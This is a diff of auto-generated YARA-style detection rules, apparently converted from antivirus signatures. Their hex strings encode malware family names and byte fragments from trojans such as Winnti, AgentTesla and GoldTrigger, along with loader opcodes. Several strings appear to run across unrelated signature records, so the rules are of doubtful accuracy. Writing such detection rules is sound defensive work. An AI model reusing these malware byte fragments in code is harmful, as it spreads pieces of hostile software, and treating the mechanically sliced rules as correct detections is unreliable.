6e 74 65 72 6e 65 74 53 } //18517 condition: ((#a_46_0 & 1)*16675+(#a_e5_2 & 1)*18517) >=4 } -rule _InfrastructureShared_8310{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " - - strings : - $a_46_0 = {50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 50 6c 61 79 61 6e 65 78 74 2e 61 77 34 30 00 02 00 0b 80 01 75 70 63 6c 69 63 6b 2e 63 6f 6d 01 00 13 80 01 50 6c 61 79 61 53 44 4b 20 4c 6f 61 64 4f 66 66 65 72 73 01 00 14 80 } //16675 - $a_61_1 = {61 2d 6e 65 78 74 2d 6f 66 66 65 72 2e 68 74 6d 01 00 0c 80 01 70 64 66 61 72 63 68 69 74 65 63 74 00 00 78 80 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 6c 66 49 6e 6a 65 63 74 2e 53 52 21 4d 54 42 00 01 00 14 00 8d 84 b5 58 fe ff ff 50 8b cb 2b 4d f0 8b 55 f0 8b 45 ec e8 01 00 } //28673 - $a_74_2 = {69 } //-32496 i - $a_6f_3 = {6e 6c 6f 61 64 65 72 55 01 00 12 81 01 5b 49 6e 74 65 72 6e 65 74 53 68 6f 72 74 63 75 74 5d 01 00 0a 81 01 49 6e 63 46 69 6c 65 45 78 74 00 00 78 80 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a } //25964 - condition: - ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*28673+(#a_74_2 & 1)*-32496+(#a_6f_3 & 1)*25964) >=4 - -} -rule _InfrastructureShared_8311{ +rule _InfrastructureShared_8814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -88247,7 +93654,7 @@ rule _InfrastructureShared_8311{ ((#a_46_0 & 1)*16675+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_80_3 & 1)*0) >=4 } -rule _InfrastructureShared_8312{ +rule _InfrastructureShared_8815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -88259,7 +93666,7 @@ rule _InfrastructureShared_8312{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*76+(#a_53_2 & 1)*8993) >=4 } -rule _InfrastructureShared_8313{ +rule _InfrastructureShared_8816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -88270,20 +93677,46 @@ rule _InfrastructureShared_8313{ ((#a_54_0 & 1)*18467+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_8314{ +rule _InfrastructureShared_8817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 52 65 6e 6f 73 2e 46 48 00 02 00 0b 01 8d 45 e4 6a 0c 50 68 00 14 2d 00 02 00 11 01 b8 4f 00 00 00 cd 41 66 3d 86 f3 0f 94 c0 0f b6 c0 01 00 1b 01 b9 0a 00 00 00 b8 68 58 4d 56 } //18467 - $a_56_1 = {81 fb 68 58 4d 56 0f 94 c0 0f b6 c0 01 00 0a 01 33 c0 50 0f 01 4c 24 fe 58 c3 00 00 78 80 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 58 4b 31 32 33 21 4d 54 42 00 01 00 15 81 01 70 79 72 6f 6c 79 7a 65 20 65 6e } //-17818 - $a_67_2 = {64 6e 65 73 73 01 00 07 81 01 61 66 73 6f 6e 65 73 01 00 16 81 01 64 65 73 71 75 61 6d 61 74 65 64 20 61 6d 68 65 72 73 74 69 74 65 01 00 10 81 01 73 69 70 70 65 74 20 63 6f 70 79 72 69 67 68 74 00 00 78 80 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 53 46 31 32 33 21 4d 54 42 00 01 00 0e } //24940 - $a_65_3 = {6f 6c 76 65 72 6b 75 67 6c 65 72 01 00 0a 81 01 66 69 66 74 79 70 65 6e 6e 79 01 00 0a 81 01 6d 79 61 73 74 68 65 6e 69 63 01 00 20 81 01 72 61 74 74 6c 65 62 75 73 68 20 61 66 64 6b 6e 69 6e 67 65 72 6e 65 20 77 61 73 74 65 72 69 65 00 00 78 80 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 } //385 + $a_56_1 = {81 fb 68 58 4d 56 0f 94 c0 0f b6 c0 01 00 0a 01 33 c0 50 0f 01 4c 24 fe 58 c3 00 00 78 80 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 47 30 31 21 4d 54 42 00 01 00 10 81 01 73 70 72 65 6b 65 6c 69 61 20 6d 69 6e } //-17818 + $a_01_2 = {00 18 81 01 67 61 73 62 6c 75 73 73 65 74 73 20 6d 69 64 65 72 73 20 75 72 76 72 6b 01 00 09 81 01 65 78 65 63 75 74 65 72 73 01 00 13 81 01 73 75 62 75 72 62 61 6e 69 73 69 6e 67 20 73 61 6c 65 70 00 00 78 80 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 56 30 31 21 4d 54 42 00 01 00 06 81 01 62 6f 6c 6c 65 72 } //29285 + $a_81_3 = {61 66 6c 6f 65 73 6e 69 6e 67 73 6f 70 67 61 76 65 6e 20 71 75 61 6e 74 69 74 69 76 65 6e 65 73 73 } //1 afloesningsopgaven quantitiveness condition: - ((#a_54_0 & 1)*18467+(#a_56_1 & 1)*-17818+(#a_67_2 & 1)*24940+(#a_65_3 & 1)*385) >=4 + ((#a_54_0 & 1)*18467+(#a_56_1 & 1)*-17818+(#a_01_2 & 1)*29285+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_8315{ +rule _InfrastructureShared_8818{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 47 30 31 21 4d 54 42 00 01 00 10 81 01 73 70 72 65 6b 65 6c 69 61 20 6d 69 6e 65 72 79 01 00 18 81 01 67 61 73 62 6c 75 73 73 65 74 73 20 6d 69 64 65 72 73 20 75 72 76 72 6b 01 00 09 81 01 65 78 } //18467 + $a_74_1 = {72 73 01 00 13 81 01 73 75 62 75 72 62 61 6e 69 73 69 6e 67 20 73 61 6c 65 70 00 00 78 80 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 56 30 31 21 4d 54 42 00 01 00 06 81 01 62 6f 6c 6c 65 72 01 00 21 81 01 61 66 6c 6f 65 73 6e 69 6e 67 73 6f 70 67 61 76 65 6e 20 71 75 61 6e 74 69 74 69 76 65 6e 65 } //25445 + $a_00_2 = {0c } //29555 + $a_65_3 = {73 61 62 6c 69 6e 67 65 6e 01 00 11 81 01 62 65 74 76 69 6e 67 65 6c 73 65 72 73 2e 62 65 6c 00 00 78 80 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 58 4b 31 32 33 21 4d 54 42 00 01 00 15 81 01 70 79 72 6f 6c 79 7a 65 20 65 6e 6c 61 72 67 65 64 6e 65 73 73 01 00 07 81 01 61 66 } //385 + condition: + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25445+(#a_00_2 & 1)*29555+(#a_65_3 & 1)*385) >=4 + +} +rule _InfrastructureShared_8819{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 56 30 31 21 4d 54 42 00 01 00 06 81 01 62 6f 6c 6c 65 72 01 00 21 81 01 61 66 6c 6f 65 73 6e 69 6e 67 73 6f 70 67 61 76 65 6e 20 71 75 61 6e 74 69 74 69 76 65 6e 65 73 73 01 00 0c 81 01 6e 65 64 } //18467 + $a_6c_1 = {6e 67 65 6e 01 00 11 81 01 62 65 74 76 69 6e 67 65 6c 73 65 72 73 2e 62 65 6c 00 00 78 80 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 58 4b 31 32 33 21 4d 54 42 00 01 00 15 81 01 70 79 72 6f 6c 79 7a 65 20 65 6e 6c 61 72 67 65 64 6e 65 73 73 } //24947 + $a_81_2 = {61 66 73 6f 6e 65 73 } //1 afsones + $a_81_3 = {64 65 73 71 75 61 6d 61 74 65 64 20 61 6d 68 65 72 73 74 69 74 65 } //1 desquamated amherstite + condition: + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*24947+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} +rule _InfrastructureShared_8820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -88296,7 +93729,7 @@ rule _InfrastructureShared_8315{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28001+(#a_00_2 & 1)*31086+(#a_79_3 & 1)*385) >=4 } -rule _InfrastructureShared_8316{ +rule _InfrastructureShared_8821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -88309,7 +93742,7 @@ rule _InfrastructureShared_8316{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*29793+(#a_6c_2 & 1)*27137+(#a_6f_3 & 1)*11897) >=4 } -rule _InfrastructureShared_8317{ +rule _InfrastructureShared_8822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -88321,7 +93754,7 @@ rule _InfrastructureShared_8317{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_32_3 & 1)*24833) >=4 } -rule _InfrastructureShared_8318{ +rule _InfrastructureShared_8823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -88334,7 +93767,7 @@ rule _InfrastructureShared_8318{ ((#a_41_0 & 1)*20515+(#a_6e_1 & 1)*25971+(#a_00_2 & 1)*4199+(#a_b9_3 & 1)*2304) >=4 } -rule _InfrastructureShared_8319{ +rule _InfrastructureShared_8824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -88342,12 +93775,12 @@ rule _InfrastructureShared_8319{ $a_69_0 = {65 65 63 68 41 74 74 72 69 62 75 74 65 2e 41 00 02 00 07 01 d0 be 7d fb f6 ff ff 02 00 08 01 68 df be 7d fb f6 ff ff 02 00 12 01 ba 00 00 60 82 04 09 00 00 48 c1 e1 0c b8 67 10 01 00 01 00 09 01 b9 00 00 00 00 00 80 ff ff 01 00 09 01 b8 00 00 00 00 00 fc 00 00 02 00 17 03 b8 00 00 00 00 00 fc 00 } //20515 $a_04_1 = {b9 00 } //-28672 $a_ff_2 = {00 00 90 00 00 00 78 80 00 00 04 00 04 00 08 00 21 23 48 53 54 52 3a 62 6f 74 5f 63 6f 6d 6d 61 6e 64 73 00 01 00 09 01 74 65 73 74 64 6c 6c 73 00 01 00 06 01 75 6e 73 65 63 00 01 00 0a 01 73 70 65 65 64 74 65 73 74 00 01 00 08 01 6d 69 72 63 63 6d 64 00 01 00 08 01 61 64 76 73 63 61 6e 00 01 00 0a 01 63 75 72 72 65 6e 74 69 70 00 01 00 08 01 6e 65 74 69 6e 66 6f 00 01 00 09 01 66 6c 75 73 68 61 72 70 00 00 00 78 80 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 41 46 43 41 21 4d 54 42 00 03 00 35 03 04 16 0a 2b 0d 00 06 28 90 01 01 00 00 06 00 00 06 17 58 0a 06 7e 01 00 00 04 8e 69 fe 04 0b 07 2d e5 7e 01 00 00 04 28 90 01 01 00 00 0a 0c 2b 00 08 2a 90 00 02 00 19 03 7e 01 00 00 04 02 7e 01 00 00 04 02 } //-16 - $a_01_3 = {02 00 00 59 d2 9c 2a 90 00 00 00 78 80 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 50 47 59 21 4d 54 42 00 01 00 28 01 2e 6d 61 6e 61 67 65 64 28 74 31 00 00 70 0b 00 00 76 31 00 00 64 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 04 00 28 01 68 79 64 72 61 74 65 64 10 9a 13 00 00 f0 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 00 00 78 } //8337 + $a_01_3 = {02 00 00 59 d2 9c 2a 90 00 00 00 78 80 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 69 6e 6e 74 69 2e 4e 21 64 68 61 00 01 00 1a 01 8a 04 31 34 36 8a d0 c0 e2 04 c0 e8 04 02 d0 88 14 31 8b 45 00 41 3b c8 72 e6 01 00 07 01 68 03 14 20 00 ff 15 01 00 07 01 68 04 14 20 00 ff 15 01 00 0b 01 41 70 70 69 6e 69 74 2e 64 6c 6c 01 00 0c 01 49 6e 73 74 61 6c 6c 00 54 65 73 74 00 00 78 } //8337 condition: ((#a_69_0 & 1)*20515+(#a_04_1 & 1)*-28672+(#a_ff_2 & 1)*-16+(#a_01_3 & 1)*8337) >=4 } -rule _InfrastructureShared_8320{ +rule _InfrastructureShared_8825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -88356,15 +93789,14 @@ rule _InfrastructureShared_8320{ $a_69_1 = {00 01 00 08 01 6e 65 74 69 6e 66 6f 00 01 00 09 01 66 6c 75 73 68 61 72 70 00 00 00 78 80 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 41 46 43 41 21 4d 54 42 00 03 00 35 03 04 16 0a 2b 0d 00 06 28 90 01 01 00 00 06 00 00 06 17 58 0a 06 7e 01 00 00 04 8e 69 fe 04 0b 07 2d e5 7e 01 00 00 04 28 } //28261 $a_00_2 = {00 } //400 $a_00_3 = {08 2a 90 00 02 00 19 03 7e 01 00 00 04 02 7e 01 00 00 04 02 91 20 90 01 02 00 00 59 d2 9c 2a 90 00 00 00 78 80 00 00 05 00 05 00 } //3082 - $a_23_4 = {45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 50 47 59 21 4d 54 42 00 01 00 28 01 } //2 - $a_6e_5 = {67 65 64 28 74 31 00 00 70 0b 00 00 76 31 00 00 64 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 04 00 28 01 68 79 64 72 61 74 65 64 10 9a 13 00 00 f0 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 00 00 78 80 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a } //27950 - $a_52_6 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 69 6e 6e 74 69 2e 4e 21 64 68 61 00 01 00 1a 01 8a 04 31 34 36 8a d0 c0 e2 04 c0 e8 04 02 d0 88 14 31 8b 45 00 41 3b c8 72 e6 01 00 07 01 68 03 14 20 00 ff 15 01 00 07 01 68 04 14 20 00 ff 15 01 00 0b 01 41 70 } //21320 + $a_23_4 = {4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 69 6e 6e 74 69 2e 4e 21 64 68 61 } //5 LF:HSTR:Trojan:Win32/Winnti.N!dha + $a_34_6 = {8a d0 c0 e2 04 c0 e8 04 02 d0 88 14 31 8b 45 00 41 3b c8 72 e6 01 00 07 01 68 03 14 20 00 ff 15 01 00 07 01 68 04 14 20 00 ff 15 01 00 0b 01 41 70 } //1162 $a_69_7 = {2e 64 6c 6c 01 00 0c 01 49 6e 73 74 61 6c 6c 00 54 65 73 74 00 00 78 80 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 65 79 67 65 6e 2e 4d 00 01 00 0d 00 4a 69 4f 4f 20 2d 20 4b 65 79 67 65 6e 01 00 0f 00 55 6e 6c 69 6d 69 74 65 64 20 55 73 65 72 73 01 00 1a 00 68 74 74 70 3a 2f 2f 77 } //26992 condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*28261+(#a_00_2 & 1)*400+(#a_00_3 & 1)*3082+(#a_23_4 & 1)*2+(#a_6e_5 & 1)*27950+(#a_52_6 & 1)*21320+(#a_69_7 & 1)*26992) >=4 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*28261+(#a_00_2 & 1)*400+(#a_00_3 & 1)*3082+(#a_23_4 & 1)*5+(#a_34_6 & 1)*1162+(#a_69_7 & 1)*26992) >=4 } -rule _InfrastructureShared_8321{ +rule _InfrastructureShared_8826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -88375,17 +93807,7 @@ rule _InfrastructureShared_8321{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*1024) >=5 } -rule _InfrastructureShared_8322{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 50 47 59 21 4d 54 42 00 01 00 28 01 2e 6d 61 6e 61 67 65 64 28 74 31 00 00 70 0b 00 00 76 31 00 00 64 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=5 - -} -rule _InfrastructureShared_8323{ +rule _InfrastructureShared_8827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -88399,7 +93821,7 @@ rule _InfrastructureShared_8323{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*1128+(#a_73_2 & 1)*18689+(#a_6f_3 & 1)*11873+(#a_74_4 & 1)*21364) >=5 } -rule _InfrastructureShared_8324{ +rule _InfrastructureShared_8828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -88412,7 +93834,7 @@ rule _InfrastructureShared_8324{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*25441+(#a_74_2 & 1)*28233+(#a_70_3 & 1)*1024) >=5 } -rule _InfrastructureShared_8325{ +rule _InfrastructureShared_8829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -88426,7 +93848,7 @@ rule _InfrastructureShared_8325{ ((#a_41_0 & 1)*20515+(#a_01_1 & 1)*2304+(#a_64_2 & 1)*-28927+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=5 } -rule _InfrastructureShared_8326{ +rule _InfrastructureShared_8830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0b 00 21 " @@ -88445,7 +93867,7 @@ rule _InfrastructureShared_8326{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*260+(#a_72_2 & 1)*12146+(#a_64_3 & 1)*27241+(#a_5f_4 & 1)*24415+(#a_54_5 & 1)*28261+(#a_65_6 & 1)*14955+(#a_80_7 & 1)*2+(#a_80_8 & 1)*0+(#a_45_9 & 1)*1025) >=5 } -rule _InfrastructureShared_8327{ +rule _InfrastructureShared_8831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -88456,7 +93878,7 @@ rule _InfrastructureShared_8327{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*11873) >=6 } -rule _InfrastructureShared_8328{ +rule _InfrastructureShared_8832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -88469,7 +93891,7 @@ rule _InfrastructureShared_8328{ ((#a_6c_0 & 1)*16675+(#a_69_1 & 1)*29285+(#a_77_3 & 1)*19969+(#a_74_4 & 1)*31090) >=6 } -rule _InfrastructureShared_8329{ +rule _InfrastructureShared_8833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -88484,7 +93906,7 @@ rule _InfrastructureShared_8329{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*29797+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 } -rule _InfrastructureShared_8330{ +rule _InfrastructureShared_8834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -88499,7 +93921,7 @@ rule _InfrastructureShared_8330{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*-32507+(#a_00_2 & 1)*13617+(#a_6e_3 & 1)*385+(#a_01_4 & 1)*30789+(#a_65_5 & 1)*16687) >=6 } -rule _InfrastructureShared_8331{ +rule _InfrastructureShared_8835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -88507,13 +93929,14 @@ rule _InfrastructureShared_8331{ $a_41_0 = {42 6c 6f 63 6b 3a 53 65 70 64 6f 74 00 01 00 0c 80 01 47 65 74 43 68 72 6f 6d 65 65 78 65 01 00 08 80 01 47 65 74 49 45 45 78 65 01 00 0a 80 01 47 65 74 45 64 67 65 45 78 65 01 00 0b 80 01 47 65 74 4f 70 65 72 61 45 58 45 01 00 0d 80 01 47 65 74 46 69 72 } //20515 $a_78_1 = {78 65 02 00 11 80 01 42 61 69 78 61 6b 69 5f 53 65 74 75 70 2e 65 78 65 00 00 78 80 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4c 36 35 21 4d 54 42 00 0a 00 4d 02 68 00 c2 eb 0b 6a 01 ff 15 90 01 04 50 ff 15 90 01 04 89 45 f4 83 7d f4 00 0f 84 90 01 04 68 00 } //26213 $a_ff_2 = {f4 e8 90 01 04 59 59 83 65 f8 00 } //-5182 - $a_00_3 = {eb 07 8b 45 f8 40 89 45 f8 81 7d f8 90 01 04 0f 83 90 01 04 8b 45 f8 90 00 00 00 78 80 00 00 0a 00 0a 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 6f 6c 64 54 72 69 67 67 65 72 2e 41 21 64 68 61 00 0a 00 2d 01 b8 43 6f 6f 6b 33 01 44 0f b7 41 04 41 81 f0 69 65 00 00 41 09 c0 74 6c 41 b8 55 70 6c 6f 44 33 01 44 0f b7 49 04 41 81 f1 61 64 00 00 0a 00 1b 01 48 b8 54 65 6c 65 67 72 61 6d 48 39 01 74 43 b0 05 49 b8 44 6f 77 6e 6c 6f 61 64 00 00 78 80 00 00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 58 41 21 4d 54 42 00 0a 00 2b 02 13 21 11 21 19 8d 90 01 04 25 16 7e 90 01 04 a2 25 17 7e 90 01 04 a2 25 18 72 90 01 03 70 a2 28 90 01 04 26 20 } //25987 - $a_00_5 = {1e 80 } //144 + $a_00_3 = {eb 07 8b 45 f8 40 89 45 f8 81 7d f8 90 01 04 0f 83 90 01 04 8b 45 f8 90 00 00 00 78 80 00 00 0a 00 0a 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 6f 6c 64 54 72 69 67 67 65 72 2e 41 21 64 68 61 00 0a 00 2d 01 b8 43 6f 6f 6b 33 01 44 0f b7 41 04 41 81 f0 69 65 00 00 41 09 c0 74 6c 41 b8 55 70 6c 6f 44 33 01 44 0f b7 49 04 41 81 f1 61 64 00 00 0a 00 1b 01 48 b8 54 65 6c 65 67 72 61 6d 48 39 01 74 43 b0 05 49 b8 44 6f 77 6e 6c 6f 61 64 00 00 78 80 00 00 0b 00 0b 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 5a 4a 59 21 4d 54 42 00 0a 00 3e 03 0a 00 06 02 7b 90 01 01 00 00 04 6f 90 01 01 00 00 0a 00 06 6f 90 01 01 00 00 0a 0b 07 03 28 90 01 01 00 00 2b 16 03 28 } //25987 + $a_00_4 = {00 } //400 + $a_6f_5 = {01 01 00 00 0a 0c 08 0d de 0b 90 00 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 80 00 00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 58 41 21 4d 54 42 00 0a 00 2b 02 13 21 11 21 19 8d 90 01 04 25 16 7e 90 01 04 a2 25 17 7e 90 } //-29141 condition: - ((#a_41_0 & 1)*20515+(#a_78_1 & 1)*26213+(#a_ff_2 & 1)*-5182+(#a_00_3 & 1)*25987+(#a_00_5 & 1)*144) >=7 + ((#a_41_0 & 1)*20515+(#a_78_1 & 1)*26213+(#a_ff_2 & 1)*-5182+(#a_00_3 & 1)*25987+(#a_00_4 & 1)*400+(#a_6f_5 & 1)*-29141) >=7 } -rule _InfrastructureShared_8332{ +rule _InfrastructureShared_8836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -88523,18 +93946,29 @@ rule _InfrastructureShared_8332{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_8333{ +rule _InfrastructureShared_8837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 6f 6c 64 54 72 69 67 67 65 72 2e 41 21 64 68 61 00 0a 00 2d 01 b8 43 6f 6f 6b 33 01 44 0f b7 41 04 41 81 f0 69 65 00 00 41 09 c0 74 6c 41 b8 55 70 6c 6f 44 33 01 44 0f b7 49 04 } //16675 - $a_61_1 = {00 00 0a 00 1b 01 48 b8 54 65 6c 65 67 72 61 6d 48 39 01 74 43 b0 05 49 b8 44 6f 77 6e 6c 6f 61 64 00 00 78 80 00 00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 58 41 21 4d 54 42 00 0a 00 2b 02 13 21 11 21 19 8d 90 01 04 25 16 7e 90 01 04 a2 25 17 7e 90 01 04 a2 25 18 72 90 01 03 70 a2 28 90 01 04 26 20 00 08 00 00 90 00 02 00 1e 80 01 53 61 66 65 52 65 67 69 73 74 72 79 48 61 6e 64 6c 65 2e 49 50 65 72 6d 69 73 73 69 6f 6e 00 00 78 80 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 33 37 33 21 4d 54 42 00 0a 00 34 02 00 08 09 11 04 6f 90 01 04 13 05 08 09 11 04 6f 90 01 04 13 } //-32447 + $a_61_1 = {00 00 0a 00 1b 01 48 b8 54 65 6c 65 67 72 61 6d 48 39 01 74 43 b0 05 49 b8 44 6f 77 6e 6c 6f 61 64 00 00 78 80 00 00 0b 00 0b 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 5a 4a 59 21 4d 54 42 00 0a 00 3e 03 0a 00 06 02 7b 90 01 01 00 00 04 6f 90 01 01 00 00 0a 00 06 6f 90 01 01 00 00 0a 0b 07 03 28 90 01 01 00 00 2b 16 03 28 90 01 01 00 00 2b 8e 69 6f 90 01 01 00 00 0a 0c 08 0d de 0b 90 00 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 80 00 00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 58 41 21 4d 54 42 00 0a 00 2b 02 13 21 11 21 19 8d 90 01 04 25 16 7e 90 01 04 a2 25 17 7e 90 01 04 } //-32447 condition: ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*-32447) 